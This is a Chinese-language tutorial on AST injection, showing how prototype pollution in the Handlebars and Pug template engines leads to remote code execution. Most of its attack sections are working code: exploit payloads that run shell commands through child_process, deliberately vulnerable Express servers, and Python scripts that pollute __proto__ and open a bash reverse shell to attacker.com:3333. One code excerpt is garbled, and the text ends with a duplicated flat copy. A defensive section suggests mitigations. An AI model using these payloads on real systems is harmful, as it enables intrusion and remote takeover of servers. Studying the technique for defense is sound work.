AST注入
字数 1032 2025-08-04 00:46:02

AST注入:从原型污染到RCE攻击技术详解

一、AST注入概述

AST(抽象语法树)注入是一种新型的攻击技术,通过操纵JavaScript模板引擎在解析和编译过程中使用的AST结构,实现从原型污染到远程代码执行(RCE)的攻击路径。

关键概念:

  • AST:抽象语法树,是源代码语法结构的树状表示
  • 原型污染:通过修改JavaScript对象的原型链来影响所有继承对象的行为
  • 模板引擎:将模板和数据结合生成最终输出的工具(如Handlebars、Pug等)

二、攻击原理

基本攻击流程:

  1. 发现原型污染漏洞
  2. 通过原型污染注入恶意AST节点
  3. 影响模板引擎的解析/编译过程
  4. 实现任意代码执行

核心机制:

  • 模板引擎通常将模板转换为AST,然后编译为可执行函数
  • 如果输入验证不严格,攻击者可以注入自定义AST节点
  • 通过原型污染可以全局影响AST处理过程

三、Handlebars引擎攻击详解

1. 环境探测技术

const Handlebars = require('handlebars');
Object.prototype.pendingContent = `<script>alert(origin)</script>`;
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"}));
// 输出: <script>alert(origin)</script>Hello posix

2. 关键漏洞点分析

  • javascript-compiler.js中的appendContent函数:

    appendContent: function appendContent(content) {
      if (this.pendingContent) {
        content = this.pendingContent + content;
      } else {
        this.pendingLocation = this.source.currentLocation;
      }
      this.pendingContent = content;
    }
    
  • parser.js中的数字字面量处理:

    case 36:
      this.$ = {
        type: 'NumberLiteral',
        value: Number(
    

\[[$0]), original: Number( \]

[\(0]), loc: yy.locInfo(this._\))
};
break;


### 3. 完整攻击利用

```javascript
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
  "type": "NumberLiteral",
  "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {"start": 0, "end": 0}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());

4. 实际漏洞利用示例

服务器端代码:

const express = require('express');
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const Handlebars = require('handlebars');
const app = express();

app.use(bodyParser.json());

app.get('/', function(req, res) {
  var source = "<h1>It works!</h1>";
  var template = Handlebars.compile(source);
  res.end(template({}));
});

app.post('/vulnerable', function(req, res) {
  let object = unflatten(req.body);
  res.json(object);
});

app.listen(3000);

攻击脚本:

import requests
TARGET_URL = 'http://vulnerable-server.com:3000'

# 制造原型污染
requests.post(TARGET_URL + '/vulnerable', json = {
  "__proto__.type": "Program",
  "__proto__.body": [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
      "type": "NumberLiteral",
      "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/attacker.com/3333 0>&1'`)"
    }],
    "loc": {"start": 0, "end": 0}
  }]
})

# 触发执行
requests.get(TARGET_URL)

四、Pug引擎攻击详解

1. 环境探测技术

const pug = require('pug');
Object.prototype.block = {
  "type": "Text",
  "val": `<script>alert(origin)</script>`
};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
// 输出: <h1>It works<script>alert(origin)</script></h1>

2. 关键漏洞点分析

  • pug-code-gen/index.js中的调试代码处理:
    if (debug && node.debug !== false && node.type !== 'Block') {
      if (node.line) {
        var js = ';pug_debug_line = ' + node.line;
        if (node.filename) js += ';pug_debug_filename = ' + stringify(node.filename);
        this.buf.push(js);
      }
    }
    

3. 完整攻击利用

const pug = require('pug');
Object.prototype.block = {
  "type": "Text",
  "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
};
const source = `h1= msg`;
var fn = pug.compile(source, {});
console.log(fn.toString());

4. 实际漏洞利用示例

服务器端代码:

const express = require('express');
const { unflatten } = require('flat');
const pug = require('pug');
const app = express();

app.use(require('body-parser').json());

app.get('/', function(req, res) {
  const template = pug.compile(`h1= msg`);
  res.end(template({msg: 'It works'}));
});

app.post('/vulnerable', function(req, res) {
  let object = unflatten(req.body);
  res.json(object);
});

app.listen(3000);

攻击脚本:

import requests
TARGET_URL = 'http://vulnerable-server.com:3000'

# 制造原型污染
requests.post(TARGET_URL + '/vulnerable', json = {
  "__proto__.block": {
    "type": "Text",
    "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/attacker.com/3333 0>&1'`)"
  }
})

# 触发执行
requests.get(TARGET_URL)

五、防御措施

  1. 输入验证

    • 严格验证所有用户输入
    • 使用安全的JSON解析配置(禁用原型属性)
  2. 模板引擎安全

    • 使用最新版本的模板引擎
    • 限制模板功能,使用沙箱环境
  3. 原型污染防护

    • 冻结敏感对象原型:Object.freeze(Object.prototype)
    • 使用Object.create(null)创建无原型对象
  4. 依赖管理

    • 定期更新依赖项
    • 移除不必要的依赖
  5. 运行时保护

    • 使用CSP(内容安全策略)
    • 实施适当的权限隔离

六、总结

AST注入是一种结合原型污染和模板引擎特性的新型攻击技术,影响广泛使用的模板引擎如Handlebars和Pug。这种攻击的关键在于:

  1. 通过原型污染影响全局AST处理
  2. 绕过模板引擎的输入验证机制
  3. 注入恶意AST节点实现代码执行

防御此类攻击需要多层次的安全措施,包括输入验证、依赖更新和运行时保护。由于模板引擎广泛用于现代Web应用,这种攻击技术的影响范围较大,开发人员应给予足够重视。

AST注入:从原型污染到RCE攻击技术详解 一、AST注入概述 AST(抽象语法树)注入是一种新型的攻击技术,通过操纵JavaScript模板引擎在解析和编译过程中使用的AST结构,实现从原型污染到远程代码执行(RCE)的攻击路径。 关键概念: AST :抽象语法树,是源代码语法结构的树状表示 原型污染 :通过修改JavaScript对象的原型链来影响所有继承对象的行为 模板引擎 :将模板和数据结合生成最终输出的工具(如Handlebars、Pug等) 二、攻击原理 基本攻击流程: 发现原型污染漏洞 通过原型污染注入恶意AST节点 影响模板引擎的解析/编译过程 实现任意代码执行 核心机制: 模板引擎通常将模板转换为AST,然后编译为可执行函数 如果输入验证不严格,攻击者可以注入自定义AST节点 通过原型污染可以全局影响AST处理过程 三、Handlebars引擎攻击详解 1. 环境探测技术 2. 关键漏洞点分析 javascript-compiler.js 中的 appendContent 函数: parser.js 中的数字字面量处理: 3. 完整攻击利用 4. 实际漏洞利用示例 服务器端代码: 攻击脚本: 四、Pug引擎攻击详解 1. 环境探测技术 2. 关键漏洞点分析 pug-code-gen/index.js 中的调试代码处理: 3. 完整攻击利用 4. 实际漏洞利用示例 服务器端代码: 攻击脚本: 五、防御措施 输入验证 : 严格验证所有用户输入 使用安全的JSON解析配置(禁用原型属性) 模板引擎安全 : 使用最新版本的模板引擎 限制模板功能,使用沙箱环境 原型污染防护 : 冻结敏感对象原型: Object.freeze(Object.prototype) 使用 Object.create(null) 创建无原型对象 依赖管理 : 定期更新依赖项 移除不必要的依赖 运行时保护 : 使用CSP(内容安全策略) 实施适当的权限隔离 六、总结 AST注入是一种结合原型污染和模板引擎特性的新型攻击技术,影响广泛使用的模板引擎如Handlebars和Pug。这种攻击的关键在于: 通过原型污染影响全局AST处理 绕过模板引擎的输入验证机制 注入恶意AST节点实现代码执行 防御此类攻击需要多层次的安全措施,包括输入验证、依赖更新和运行时保护。由于模板引擎广泛用于现代Web应用,这种攻击技术的影响范围较大,开发人员应给予足够重视。